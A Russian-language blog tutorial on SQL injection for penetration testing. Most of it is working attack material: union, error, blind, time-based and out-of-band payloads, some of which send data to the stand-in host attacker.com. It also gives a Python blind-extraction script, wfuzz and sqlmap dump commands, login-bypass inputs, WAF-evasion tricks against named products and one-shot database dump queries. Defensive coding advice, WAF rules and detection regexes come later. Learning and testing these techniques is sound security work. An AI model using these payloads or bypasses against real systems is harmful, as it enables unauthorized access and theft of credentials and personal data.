The book of Magnus

IT-заметки и знания

Основы пентеста. SQL-инъекции — Полное руководство

Tags = [ SQLi, Pentest_base ]

SQL-инъекция — это внедрение в данные произвольного SQL-кода. Если произвольная SQL-команда выполняется, то код уязвим, и с базой данных можно делать всё в рамках привилегий пользователя, под которым выполняются запросы.

Что такое SQL?

SQL (Structured Query Language) — декларативный язык программирования для создания, модификации и управления данными в реляционных базах данных.

Ключевые особенности SQL:

  • Информационно-логический язык
  • Предназначен для описания, изменения и извлечения данных
  • Не является тьюринг-полным
  • Стандарт SQL/PSM предусматривает процедурные расширения

Возможности эксплуатации SQL-инъекций

1. Манипуляции с БД

В базе данных находится масса интересных данных:

  • Почтовые ящики
  • Кредитные карты
  • Личные данные
  • Логины/пароли
  • Переписки
  • Информация о товарах и сделках

2. Обход авторизации

Если уязвимость есть в поле авторизации, пароль не потребуется. Злоумышленник может изменить запрос так, чтобы авторизоваться, имея лишь логин.

3. Чтение/запись файлов

При наличии соответствующих привилегий можно:

  • Читать конфиденциальные файлы сервера
  • Записывать файлы (например, веб-шелл)
  • Выполнять команды ОС

4. SiXSS (Stored XSS через SQLi)

Union-based и Error-based инъекции позволяют провести XSS атаки, передавая JavaScript код вместо данных:

id=-1' UNION SELECT 1, '<script>alert("XSS")</script>' --

Основы SQL

Компоненты языка SQL

SQL состоит из:

  • Операторов (основные команды)
  • Инструкций (последовательности операторов)
  • Вычисляемых функций (встроенные функции)

DDL (Data Definition Language) — Определение данных

ОператорОписание
CREATEСоздаёт объект БД (база, таблица, представление, пользователь)
ALTERИзменяет объект БД
DROPУдаляет объект БД

Примеры:

-- Создание таблицы
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL,
    email VARCHAR(100) NOT NULL
);

-- Изменение таблицы
ALTER TABLE users ADD COLUMN created_at DATETIME;

-- Удаление таблицы
DROP TABLE users;

DML (Data Manipulation Language) — Манипуляция данными

ОператорОписание
SELECTВыбирает данные, удовлетворяющие условиям
INSERTДобавляет новые данные
UPDATEИзменяет существующие данные
DELETEУдаляет данные

Примеры:

-- Выборка данных
SELECT * FROM users WHERE id = 1;

-- Вставка данных
INSERT INTO users (username, email) VALUES ('admin', 'admin@example.com');

-- Обновление данных
UPDATE users SET email = 'newemail@example.com' WHERE id = 1;

-- Удаление данных
DELETE FROM users WHERE id = 1;

DCL (Data Control Language) — Управление доступом

ОператорОписание
GRANTПредоставляет разрешения на операции
REVOKEОтзывает ранее выданные разрешения
DENYЗадаёт запрет (приоритет над разрешением)

TCL (Transaction Control Language) — Управление транзакциями

ОператорОписание
COMMITПрименяет транзакцию
ROLLBACKОткатывает все изменения в транзакции
SAVEPOINTДелит транзакцию на участки

Типы SQL-инъекций

              ┌─────────────────────────────────┐
              │      SQL INJECTION TYPES        │
              └─────────────────────────────────┘
              ┌─────────────┴─────────────┐
              │                           │
      ┌───────▼────────┐         ┌───────▼────────┐
      │  С выводом     │         │  Без вывода    │
      │  ошибок        │         │  ошибок        │
      └───────┬────────┘         └───────┬────────┘
              │                           │
      ┌───────┴────────┐         ┌───────┴────────┐
      │                │         │                │
  ┌───▼───┐      ┌────▼────┐   ┌▼─────┐    ┌────▼────┐
  │ Union │      │  Error  │   │ Blind│    │  Time   │
  │ Based │      │  Based  │   │ Based│    │  Based  │
  └───────┘      └─────────┘   └──────┘    └─────────┘

Union-Based SQL Injection

Самый популярный тип. Использует оператор UNION для объединения результатов двух запросов.

Типичный процесс эксплуатации:

  1. Определение количества столбцов:
-- Метод 1: ORDER BY
id=1' ORDER BY 1-- 
id=1' ORDER BY 2-- 
id=1' ORDER BY 3--  # Ошибка = 2 столбца

-- Метод 2: UNION SELECT NULL
id=1' UNION SELECT NULL--  # Ошибка
id=1' UNION SELECT NULL,NULL--  # Успех = 2 столбца
  1. Поиск отображаемых столбцов:
id=-1' UNION SELECT 1,2--
id=-1' UNION SELECT 'a','b'--
  1. Извлечение данных:
-- Текущая БД
id=-1' UNION SELECT 1,database()--

-- Версия MySQL
id=-1' UNION SELECT 1,version()--

-- Текущий пользователь
id=-1' UNION SELECT 1,user()--

-- Список баз данных
id=-1' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.schemata--

-- Список таблиц
id=-1' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--

-- Список столбцов
id=-1' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'--

-- Дамп данных
id=-1' UNION SELECT 1,GROUP_CONCAT(username,':',password) FROM users--

Error-Based SQL Injection

Данные выводятся через искусственно вызванные ошибки.

MySQL:

-- Дублирующийся ключ
id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)--

-- ExtractValue
id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database())))--

-- UpdateXML
id=1' AND 1=UPDATEXML(1, CONCAT(0x7e, (SELECT database())), 1)--

MSSQL:

id=1' AND 1=CONVERT(INT, @@version)--

Oracle:

id=1' AND 1=CAST((SELECT banner FROM v$version WHERE ROWNUM=1) AS INT)--

Blind SQL Injection

Boolean-Based (логическая слепая инъекция):

-- Проверка существования БД
id=1' AND LENGTH(database())>0--  # TRUE
id=1' AND LENGTH(database())>100--  # FALSE

-- Извлечение имени БД посимвольно
id=1' AND SUBSTRING(database(),1,1)='a'--  # FALSE
id=1' AND SUBSTRING(database(),1,1)='t'--  # TRUE (если БД = "testdb")

-- С использованием ASCII
id=1' AND ASCII(SUBSTRING(database(),1,1))=116--  # TRUE (т.к. ASCII('t')=116)

Time-Based (временная слепая инъекция):

-- MySQL
id=1' AND IF(1=1, SLEEP(5), 0)--
id=1' AND IF(LENGTH(database())>5, SLEEP(5), 0)--
id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=116, SLEEP(5), 0)--

-- MSSQL
id=1'; IF (1=1) WAITFOR DELAY '00:00:05'--

-- PostgreSQL
id=1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- Oracle
id=1' AND CASE WHEN (1=1) THEN DBMS_LOCK.SLEEP(5) ELSE NULL END--

Out-of-Band SQL Injection

Используется когда нет прямого вывода данных.

MySQL:

-- DNS эксфильтрация (требуется UDF)
id=1' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\a'))--

MSSQL:

-- DNS запрос
id=1'; DECLARE @q varchar(1024); SET @q='\\'+CAST((SELECT DB_NAME()) AS varchar(1024))+'.attacker.com\a'; EXEC master..xp_dirtree @q--

Oracle:

-- HTTP запрос
id=1' AND UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM DUAL))=1--

Routed SQL Injection

Routed SQL Injection (маршрутизируемая SQL-инъекция) — это ситуация, при которой SQL-инъекция не даёт прямого результата, но этот запрос указывает на место, через которое можно инициировать ещё одну инъекцию. Другими словами, это инъекция в инъекции.

Теоретический пример

Допустим, есть уязвимость:

http://example.com/index.php?id=1

При проверке выяснилось, что используются три колонки:

http://example.com/index.php?id=1' UNION SELECT 1,2,3--

Но когда вы выполняете запрос, не получаете никакого результата — пустая страница. Вот в этот момент стоит подумать про routed SQL injection.

Обнаружение уязвимого столбца

Попробуйте вместо каждого номера столбца поочерёдно подставлять строку следующего вида:

"n'"

где n — номер столбца.

Пример:

http://example.com/index.php?id=1' UNION SELECT 1,"2'",3--

Должна появиться ошибка о синтаксической ошибке в запросе SQL. С этого момента становится известно место, куда надо произвести ещё одну инъекцию.

Эксплуатация

Допустим, выяснили, что уязвимым является столбец 2. Тогда запрос для обнаружения будет выглядеть так:

http://example.com/index.php?id=1' UNION SELECT 1,"2'",3--

Теперь подбираем правильный вид запроса для второй инъекции. Выяснили, что доступно 4 колонки:

http://example.com/index.php?id=1' UNION SELECT 1,"2' UNION SELECT 1,2,3,4--",3--

Практический пример

Представим форму поиска, которая фильтрует некоторые символы и слова:

Фильтруются:

  • Запятая (,)
  • Двойная кавычка (")
  • Слова: and, order, or

Не фильтруются:

  • select
  • union

Шаг 1: Базовая проверка

' union select 1--

Шаг 2: Проверка на routed SQLi с hex-кодированием

Так как запятая и кавычка фильтруются, используем hex для обхода:

Строка "1'" в hex = 0x22312722

' union select 0x22312722--

Если появляется ошибка синтаксиса — перед нами routed SQLi!

Шаг 3: Определение количества столбцов

Преобразуем строку "1' order by 5--" в hex:

0x223127206f726465722062792035202d2d2022
' union select 0x223127206f726465722062792035202d2d2022--

Шаг 4: Извлечение данных

Преобразуем "1' union select version(),2--" в hex:

0x22312720756e696f6e2073656c6563742076657273696f6e28292c32202d2d2022
' union select 0x22312720756e696f6e2073656c6563742076657273696f6e28292c32202d2d2022--

Извлечение таблиц:

1' union select "111' group_concat(table_name),2 from information_schema.tables where table_schema=database()--"

В hex:

0x312720756e696f6e2073656c65637420223131312720...

Автоматизация SQL-инъекций

Самописные скрипты

Python скрипт для Time-Based Blind SQLi

from timeit import default_timer as timer
import requests
import argparse

parser = argparse.ArgumentParser(description='Blind SQL Injection')
parser.add_argument('-get', help='HTTP GET method', action="store_true")
parser.add_argument('-post', help='HTTP POST method', action="store_true")
parser.add_argument('-u', type=str, help='URL')
parser.add_argument('-value', type=str, help='POST data')
parser.add_argument('-param', type=str, help='POST parameter name')
args = parser.parse_args()

length_result = 50  # Максимальная длина результата
dictionary = list(range(48, 58)) + list(range(95, 126))  # ASCII коды символов

def blind_sql():
    i = 1
    print('Result:')
    while i <= length_result:
        for char in dictionary:
            start_time = timer()
            
            if args.get:
                res = requests.get(args.u.format(i, char))
            elif args.post:
                res = requests.post(args.u, data={args.param: args.value.format(i, char)})
            
            end_time = timer()
            time = end_time - start_time
            
            # Если задержка больше 3 секунд — символ найден
            if time > 3:
                print(chr(char), end='', flush=True)
                break
        i += 1

if __name__ == "__main__":
    blind_sql()

Использование:

# GET запрос
python3 blind_sql.py -get -u "http://example.com/?id=1' and (case when ASCII(substring((SELECT database()),{},1))={} THEN sleep(3) END)--"

# POST запрос
python3 blind_sql.py -post -u "http://example.com/" -param "id" -value "1' and IF(ASCII(substring((SELECT database()),{},1))={},sleep(3),1)#"

Burp Suite Intruder

Настройка для Boolean-Based SQLi:

  1. Отправить запрос в Intruder
  2. Установить тип атаки: Cluster bomb
  3. Установить позиции:
id=12345' AND SUBSTRING(database(),§1§,1)='§a§'--
  1. Payload Set 1: Numbers (1-10, шаг 1)
  2. Payload Set 2: Simple list (алфавит + цифры)

Grep - Extract:

  • Добавить контрольную фразу для отслеживания TRUE/FALSE

Сортировка результатов:

  1. По Payload 1 (позиция символа)
  2. По Length или контрольной фразе
  3. Payload 2 покажет найденные символы

WFUZZ

Для Boolean-Based:

wfuzz -c -z range,1-10 -z range,32-256 --hh 591 \
  -b "PHPSESSID=abc123" \
  -d "login=admin&password=12345' AND ASCII(SUBSTRING(database(),FUZZ,1))=FUZ2Z--" \
  -u "http://example.com/login.php"

Параметры:

  • -c — цветной вывод
  • -z range,1-10 — первый payload (позиция символа)
  • -z range,32-256 — второй payload (ASCII коды)
  • --hh 591 — скрыть ответы с длиной 591
  • -b — cookie
  • -d — POST data

Обход фильтрации (Filter Evasion)

Обход фильтрации функций и ключевых слов

Базовые техники

1. Замена AND/OR:

-- Фильтруются: and, or
1 || 1=1          -- Вместо: 1 or 1=1
1 && 1=1          -- Вместо: 1 and 1=1
1 %26%26 1=1      -- URL-encoded &&

2. Замена UNION:

-- Если фильтруется UNION
1 /*!50000UNION*/ SELECT 1,2
1 %55NION SELECT 1,2  -- URL-encoded 'U'
1 un<>ion select 1,2

3. Замена пробелов:

SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users  -- TAB
SELECT%0Ausername%0AFROM%0Ausers  -- Новая строка
SELECT%0Busername%0BFROM%0Busers  -- Вертикальный TAB
SELECT+username+FROM+users        -- Плюс

Продвинутые техники

1. Inline Comments (только MySQL):

/*!50000SELECT*/ * FROM users
/*!UNION*/ /*!SELECT*/ 1,2,3
SELECT /*! username */ FROM /*! users */

2. Изменение регистра:

SeLeCt * FrOm users
UNION SELECT 1,2
UnIoN SeLeCt 1,2

3. Замещение ключевых слов:

-- Если фильтр удаляет 'union'
1 UNunionION SELECT 1,2  -- После удаления получается UNION
1 UNIunionON SELECT 1,2

4. Hex/Char кодирование:

-- Вместо: WHERE table_name='users'
WHERE table_name=0x7573657273
WHERE table_name=CHAR(117,115,101,114,115)
WHERE table_name=UNHEX('7573657273')
WHERE table_name=CONVERT(0x7573657273 USING utf8)

5. Обход фильтрации функций:

-- Если фильтруется: SUBSTRING, SUBSTR
MID(string, position, length)
SUBSTRING_INDEX(string, delimiter, count)

-- Если фильтруется: ASCII
ORD(substring)
HEX(substring)

-- Если фильтруется: CONCAT
CONCAT_WS(':', column1, column2)
GROUP_CONCAT(column)

-- Если фильтруется: VERSION
@@version
@@global.version

Обход WAF

ModSecurity CRS

-- Обход через комментарии и переносы строк
id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1,2,current_user

Разбор:

  • %23 = # (комментарий)
  • %2F = /
  • %0D%0A = \r\n (перенос строки)
  • div вместо - для создания отрицательного числа

Итоговый SQL:

0 div 1 union#foo*//*bar
select#foo
1,2,current_user

ModSecurity не видит ключевые слова, а MySQL выполняет запрос.

HTTP Parameter Pollution (HPP)

Принцип: Разные веб-серверы по-разному обрабатывают дублирующиеся параметры.

Таблица обработки:

ПлатформаОбработкаРезультат
ASP.NET/IISСклеивание через запятуюpar=val1,val2
ASP/IISСклеивание через запятуюpar=val1,val2
PHP/ApacheПоследнее значениеpar=val2
JSP/TomcatПервое значениеpar=val1

Эксплуатация (ASP.NET):

Запрещено:

http://site.com/search.aspx?q=select+name,password+from+users

Разделение через HPP:

http://site.com/search.aspx?q=select+name&q=password+from+users

WAF видит:

q=select name
q=password from users

ASP.NET получает:

q=select name,password from users

HTTP Parameter Contamination (HPC)

Магия символа % в ASP/ASP.NET:

Запрос WAFОбработка WAFОбработка ASP.NET
sele%ctsele%ct (блокируется)select
un%ionun%ion (блокируется)union
<scr%ipt><scr%ipt> (блокируется)<script>

Эксплуатация:

Запрещено:

http://site.com/?id=1'+union+select+1,2,3--

Обход через %:

http://site.com/?id=1'+un%ion+se%lect+1,2,3--

Переполнение буфера

WAF, написанные на C/C++, уязвимы к переполнению при большом объёме данных.

id=1+and+(select+1)=(select+REPEAT('A',10000))+union+select+1,2,3,4,5,6,7,8,9,10--

Искажение XML в запросах

Для ASP.NET можно использовать нестандартные символы в параметрах:

?test[1=value    →  test[1=value  (сохраняется)
?test=%          →  test=         (символ удаляется)
?test%00=1       →  test=1        (NULL byte удаляется)
?test=1%001      →  NULL или test=1
?test+d=1+2      →  test d=1 2

NukeSentinel обход

// Код фильтра
if (stristr($query_string, '+union+') OR
    stristr($query_string, '%20union%20') OR
    stristr($query_string, '*/union/*') OR
    stristr($query_string, ' union '))
{
    die("BLOCKED");
}

Обход:

Запрещено: ?id=1+union+select+...
Обход: ?id=1/%2A%2A/union/%2A%2A/select+...

Armorlogic Profense обход

Версии до 2.4.4 можно обойти URL-кодированием символа новой строки:

Запрещено: ?id=1/**/||/**/function()
Обход: ?id=1%0b||%0blpad(username,7,1)

DIOS (Dump In One Shot)

DIOS — метод, позволяющий выгрузить все данные за один запрос к БД. Применяется в Union-Based SQL-инъекциях.

Принцип работы

DIOS использует:

  • SELECT — вложенные запросы
  • @a — переменные
  • := — оператор присваивания
  • IN — проверка вхождения
  • CONCAT — конкатенация строк

Базовая структура

(
  select (@a)
  from (
    select (@a:=0x00),(
      select (@a)
      from (information_schema.schemata)
      where (@a) in (@a:=concat(@a, schema_name, '\n'))
    )
  ) a
)

Принцип:

  1. Инициализируем переменную @a как 0x00
  2. Перебираем таблицу information_schema.schemata
  3. На каждой итерации добавляем имя БД в переменную через CONCAT
  4. Выводим результат

Практические примеры

1. Вывод всех баз данных:

1' UNION SELECT 
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata) where (@a) in (@a:=concat(@a, schema_name, '\n')))) a), 2--

2. Вывод таблиц с разделителями:

1' UNION SELECT 
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables) where (table_schema!='information_schema') and (@a) in (@a:=concat(@a, table_schema, ' >>> ', table_name, '\n')))) a), 2--

3. Вывод столбцов с HTML форматированием:

1' UNION SELECT 
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and (@a) in (@a:=concat(@a, table_schema, ' >>> ', table_name, ' >>> ', '<font color=red>', column_name, '</font>', '<br>')))) a), 2--

4. Извлечение данных из таблицы:

1' UNION SELECT 
(select (@a) from (select(@a:=0x00),(select (@a) from (users) where (@a) in (@a:=concat(@a, '<br>', '<font color=red>', id, '</font>', '<font color=green> >>> ', username, '</font>', '<br>')))) a), 2--

Оптимизация вывода

Использование HTML-тегов для форматирования:

  • <br> — перенос строки
  • <font color=red> — цветной текст
  • <b> — жирный текст

Hex вместо строк для обхода фильтров:

-- Вместо: '\n'
-- Используем: 0x0a

-- Вместо: ' >>> '
-- Используем: 0x203e3e3e20

Полный пример решения задачи

Задача: Извлечь все данные из таблицы users в БД webapp_db

Решение:

  1. Проверяем количество столбцов:
1' ORDER BY 3--  # Ошибка
1' ORDER BY 2--  # Успех → 2 столбца
  1. Находим отображаемый столбец:
1' UNION SELECT 1,2--  # Выводится "2"
  1. Извлекаем всё за один запрос:
1' UNION SELECT 1,
(select (@x) from (select(@x:=0x00),(select (@x) from (users) where (@x) in (@x:=concat(@x, '<br>ID: ', id, ' | User: ', username, ' | Pass: ', password)))) a)--

Результат на странице:

ID: 1 | User: admin | Pass: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 2 | User: john | Pass: 098f6bcd4621d373cade4e832627b4f6
ID: 3 | User: alice | Pass: 5ebe2294ecd0e0f08eab7690d2a6ee69

Поиск SQL-инъекций

Где искать

  1. В параметрах HTTP запроса

    • GET параметры (?id=1)
    • POST параметры (формы)
    • Cookie
    • HTTP заголовки (User-Agent, Referer, X-Forwarded-For)
  2. В пользовательских формах ввода

    • Формы авторизации
    • Формы поиска
    • Формы регистрации
    • Формы обратной связи

Поиск в параметрах HTTP запроса

Числовой параметр

URL:

http://newnews.com/news.php?id=23

Проверка кавычкой:

http://newnews.com/news.php?id=23'

Если появляется ошибка — уязвимость есть!

Проверка без ошибки (комментирование):

http://newnews.com/news.php?id=23--

Если вывод идентичен странице с id=23 — уязвимость присутствует.

Предполагаемый SQL-запрос:

-- Нормальный запрос
SELECT * FROM news WHERE id=23

-- С кавычкой
SELECT * FROM news WHERE id=23'  # Ошибка!

-- С комментарием
SELECT * FROM news WHERE id=23-- ' AND ...

Строковой параметр

URL:

http://example.com/search.php?query=test

Предполагаемый запрос:

SELECT * FROM articles WHERE title='test'

Проверка:

http://example.com/search.php?query=test'

Запрос становится:

SELECT * FROM articles WHERE title='test''  # Ошибка!

Корректная проверка:

http://example.com/search.php?query=test'--

Проверка через логические операторы:

http://example.com/search.php?query=test' AND '1'='1
http://example.com/search.php?query=test' AND '1'='2

Поиск в формах авторизации

Предполагаемый SQL-запрос:

SELECT * FROM users WHERE login='$login' AND password='$password'

Эксплуатация через логин

Ввод:

Login: admin'--
Password: любой

Итоговый запрос:

SELECT * FROM users WHERE login='admin'-- ' AND password='любой'

Всё после -- закомментировано → авторизация успешна!

Эксплуатация через пароль

Ввод:

Login: admin
Password: ' OR '1'='1

Итоговый запрос:

SELECT * FROM users WHERE login='admin' AND password='' OR '1'='1'

Условие '1'='1' всегда истинно → авторизация успешна!

Эксплуатация через LIKE

Предполагаемый запрос:

SELECT * FROM users WHERE login LIKE '$login' AND password LIKE '$password'

Ввод:

Login: admin
Password: %

Итоговый запрос:

SELECT * FROM users WHERE login LIKE 'admin' AND password LIKE '%'

Символ % означает "любая строка" → авторизация успешна!

Быстрая проверка на уязвимость

Чеклист:

  1. Одинарная кавычка: '
  2. Двойная кавычка: "
  3. Обратная кавычка: `
  4. Комментарии: --, #, /* */
  5. Логические операторы: AND 1=1, OR 1=1
  6. Математические операции: 1+1, 2-1
  7. Задержки: SLEEP(5), BENCHMARK()

Автоматизация поиска

SQLMap:

# Простое сканирование
sqlmap -u "http://example.com/page.php?id=1"

# С cookie
sqlmap -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=abc123"

# POST запрос
sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"

# Из файла Burp
sqlmap -r request.txt

# Агрессивное сканирование
sqlmap -u "http://example.com/page.php?id=1" --level=5 --risk=3

# Дамп всей БД
sqlmap -u "http://example.com/page.php?id=1" --dump-all

Защита от SQL-инъекций

1. Prepared Statements (Параметризованные запросы)

Самый надёжный метод защиты!

PHP (PDO)

<?php
// ✅ БЕЗОПАСНО
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
$user = $stmt->fetch();

// ✅ БЕЗОПАСНО (именованные параметры)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);

// ❌ УЯЗВИМО
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = $pdo->query($query);
?>

PHP (MySQLi)

<?php
// ✅ БЕЗОПАСНО
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();

// ❌ УЯЗВИМО
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = $mysqli->query($query);
?>

Python (psycopg2 для PostgreSQL)

# ✅ БЕЗОПАСНО
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

# ❌ УЯЗВИМО
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")

Java (JDBC)

// ✅ БЕЗОПАСНО
PreparedStatement stmt = connection.prepareStatement(
    "SELECT * FROM users WHERE id = ?"
);
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();

// ❌ УЯЗВИМО
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(
    "SELECT * FROM users WHERE id = " + userId
);

2. ORM (Object-Relational Mapping)

Популярные ORM:

  • PHP: Eloquent (Laravel), Doctrine
  • Python: Django ORM, SQLAlchemy
  • JavaScript: Sequelize, TypeORM
  • Java: Hibernate
  • Ruby: ActiveRecord (Rails)

PHP (Laravel Eloquent)

// ✅ БЕЗОПАСНО
$user = User::where('id', $request->id)->first();
$users = User::where('age', '>', 18)->get();

// ✅ БЕЗОПАСНО (raw query с биндингом)
$users = DB::select('SELECT * FROM users WHERE id = ?', [$id]);

// ❌ УЯЗВИМО
$users = DB::select("SELECT * FROM users WHERE id = $id");

Python (Django ORM)

# ✅ БЕЗОПАСНО
user = User.objects.get(id=user_id)
users = User.objects.filter(age__gt=18)

# ✅ БЕЗОПАСНО (raw query с параметрами)
User.objects.raw('SELECT * FROM users WHERE id = %s', [user_id])

# ❌ УЯЗВИМО
User.objects.raw(f'SELECT * FROM users WHERE id = {user_id}')

3. Экранирование (НЕ рекомендуется как основной метод)

<?php
// ⚠️ НЕДОСТАТОЧНО для полной защиты
$id = mysqli_real_escape_string($mysqli, $_GET['id']);
$query = "SELECT * FROM users WHERE id = '$id'";  // Кавычки обязательны!

// ❌ УЯЗВИМО (числовой параметр без кавычек)
$id = mysqli_real_escape_string($mysqli, $_GET['id']);
$query = "SELECT * FROM users WHERE id = $id";  // Можно внедрить OR 1=1
?>

4. White-List валидация

<?php
// ✅ Для ORDER BY
$allowed_columns = ['id', 'username', 'email', 'created_at'];
$order = in_array($_GET['order'], $allowed_columns) 
    ? $_GET['order'] 
    : 'id';
$query = "SELECT * FROM users ORDER BY $order";

// ✅ Для LIMIT
$limit = max(1, min(100, (int)$_GET['limit']));
$query = "SELECT * FROM users LIMIT $limit";

// ✅ Для таблиц
$allowed_tables = ['users', 'products', 'orders'];
$table = in_array($_GET['table'], $allowed_tables) 
    ? $_GET['table'] 
    : 'users';
?>

5. Типизация и валидация

<?php
// ✅ Приведение к нужному типу
$id = (int) $_GET['id'];
$email = filter_var($_GET['email'], FILTER_VALIDATE_EMAIL);
$age = filter_var($_GET['age'], FILTER_VALIDATE_INT, [
    'options' => ['min_range' => 1, 'max_range' => 120]
]);

// ✅ Регулярные выражения
if (!preg_match('/^[a-zA-Z0-9_]+$/', $_GET['username'])) {
    die('Invalid username');
}
?>

6. Минимальные привилегии БД

-- ✅ Создать пользователя только с SELECT
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON database.* TO 'webapp'@'localhost';

-- ❌ НЕ давать опасные привилегии
-- FILE - чтение/запись файлов
-- SUPER - суперпользователь
-- PROCESS - просмотр процессов
-- SHUTDOWN - выключение сервера

7. WAF (Web Application Firewall)

ModSecurity правила

# Базовое правило обнаружения SQLi
SecRule ARGS "@detectSQLi" \
    "id:942100,\
    phase:2,\
    block,\
    msg:'SQL Injection Attack Detected'"

# Блокировка UNION
SecRule ARGS "@rx (?i:\bunion\b.{1,100}\bselect\b)" \
    "id:942200,\
    phase:2,\
    block,\
    msg:'UNION-based SQL Injection'"

# Блокировка комментариев
SecRule ARGS "@rx (?:--|#|/\*|\*/)" \
    "id:942300,\
    phase:2,\
    block,\
    msg:'SQL Comment Detected'"

8. Логирование и мониторинг

<?php
// Логирование подозрительных запросов
function log_suspicious_input($input, $parameter) {
    $patterns = [
        '/union.*select/i',
        '/or.*1.*=.*1/i',
        '/sleep\(/i',
        '/benchmark\(/i',
        '/load_file/i',
        '/into.*outfile/i'
    ];
    
    foreach ($patterns as $pattern) {
        if (preg_match($pattern, $input)) {
            error_log(
                "[SQLi Attempt] Parameter: $parameter, " .
                "Value: $input, " .
                "IP: " . $_SERVER['REMOTE_ADDR'] . ", " .
                "User-Agent: " . $_SERVER['HTTP_USER_AGENT']
            );
            
            // Можно заблокировать IP или показать CAPTCHA
            return true;
        }
    }
    return false;
}
?>

9. Отключение вывода ошибок в продакшене

<?php
// ❌ В продакшене
ini_set('display_errors', 0);
error_reporting(0);

// ✅ В продакшене с логированием
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php_errors.log');
error_reporting(E_ALL);
?>

10. Content Security Policy

<!-- Ограничение источников скриптов -->
<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'; object-src 'none';">

Практические лаборатории

Онлайн-платформы:

Локальные приложения:

  • DVWA (Damn Vulnerable Web Application)
  • WebGoat (OWASP)
  • Mutillidae
  • bWAPP (buggy Web Application)
  • OWASP Juice Shop

Установка DVWA (Docker)

# Установка
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa

# Доступ
http://localhost/
# Логин: admin
# Пароль: password

Чек-лист тестирования

Обнаружение SQLi

  • Протестировать одинарную кавычку '
  • Протестировать двойную кавычку "
  • Протестировать обратную кавычку `
  • Попробовать логические операторы AND 1=1, OR 1=1
  • Попробовать комментарии --, #, /* */
  • Проверить числовые параметры
  • Проверить строковые параметры
  • Проверить параметры в cookie
  • Проверить параметры в заголовках
  • Проверить POST-параметры
  • Проверить JSON-параметры
  • Проверить XML-параметры

Эксплуатация Union-Based

  • Определить количество столбцов (ORDER BY)
  • Найти отображаемые столбцы
  • Определить тип СУБД (version(), @@version)
  • Получить имя текущей БД (database())
  • Получить текущего пользователя (user())
  • Получить список БД
  • Получить список таблиц
  • Получить список столбцов
  • Извлечь данные
  • Попробовать DIOS для массового дампа

Типичные ошибки

❌ Частые ошибки атакующих

  1. Забывают про комментарии

    -- Неправильно
    id=1' UNION SELECT 1,2,3
    
    -- Правильно
    id=1' UNION SELECT 1,2,3--
    
  2. Неправильное количество столбцов

    -- Ошибка
    id=1 UNION SELECT user()
    
    -- Правильно (3 столбца)
    id=1 UNION SELECT 1,user(),3
    
  3. Несовпадение типов

    -- Ошибка (INT vs STRING)
    id=1 UNION SELECT 'text',2,3
    
    -- Правильно
    id=1 UNION SELECT 1,2,3
    

❌ Частые ошибки разработчиков

  1. Использование конкатенации

    // ❌ УЯЗВИМО
    $query = "SELECT * FROM users WHERE id = " . $_GET['id'];
    
  2. Фильтрация только кавычек

    // ❌ НЕДОСТАТОЧНО
    $input = str_replace("'", "", $input);
    
  3. Trust user input

    // ❌ УЯЗВИМО
    $table = $_GET['table'];
    $query = "SELECT * FROM $table";
    

Заключение

SQL-инъекции остаются одной из самых опасных уязвимостей веб-приложений.

Ключевые выводы:

Понимание SQL критически важно для эксплуатации и защиты

Типы SQL-инъекций:

  • Union-Based — самый эффективный
  • Blind — требует автоматизации
  • Time-Based — работает всегда
  • Error-Based — золотая середина
  • Routed — инъекция в инъекции

Главные элементы защиты:

  • Prepared Statements
  • ORM (при правильном использовании)
  • Минимальные привилегии БД
  • Валидация входных данных
  • WAF

Продвинутые техники:

  • DIOS — дамп за один запрос
  • HPP/HPC — обход WAF
  • Out-of-Band — эксфильтрация данных

Помните:

  • 🎓 Всегда получайте разрешение перед тестированием
  • 🔒 Используйте знания только в легальных целях
  • 📚 Постоянно обучайтесь новым техникам
  • 🛡️ Думайте как атакующий, защищайте как профессионал

Удачи в изучении SQL-инъекций! 🚀


Дополнительные ресурсы

Документация

Инструменты

Курсы